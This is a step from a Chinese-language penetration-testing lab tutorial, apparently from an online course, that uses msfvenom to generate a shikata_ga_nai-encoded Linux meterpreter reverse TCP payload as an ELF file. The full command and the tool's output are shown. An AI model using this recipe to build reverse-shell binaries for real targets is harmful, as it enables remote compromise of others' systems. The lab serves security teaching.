使用 -e 标志指定编码器来生成 Payload
在此步骤中,你将生成一个 Payload 并为其应用 x86/shikata_ga_nai 编码器。你将使用 -e 标志来指定所选的编码器。
让我们创建一个简单的 Linux reverse TCP Payload。此 Payload 将尝试连接回指定的 IP 地址和端口。我们将对其进行编码,并将其保存为 ELF(Executable and Linkable Format)文件,这是 Linux 的标准二进制格式。
命令结构如下:
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>
-p: 指定 Payload。我们将使用 linux/x86/meterpreter/reverse_tcp。
LHOST 和 LPORT: Payload 需要的选项,用于知道连接回哪里。在此示例中,我们将使用 127.0.0.1(localhost)。
-e: 指定编码器。我们将使用 x86/shikata_ga_nai。
-f: 指定输出格式。我们将使用 elf。
>: 将输出重定向到文件。
现在,在你的终端中运行以下命令来生成编码后的 Payload,并将其保存为 encoded_payload.elf:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf
msfvenom 将处理请求,并向你显示有关生成的 Payload 的一些信息,包括最终大小。
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes
你现在已成功在当前目录(~/project)中创建了一个名为 encoded_payload.elf 的编码 Payload 文件。你可以使用 ls -l 命令来验证其创建。
ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf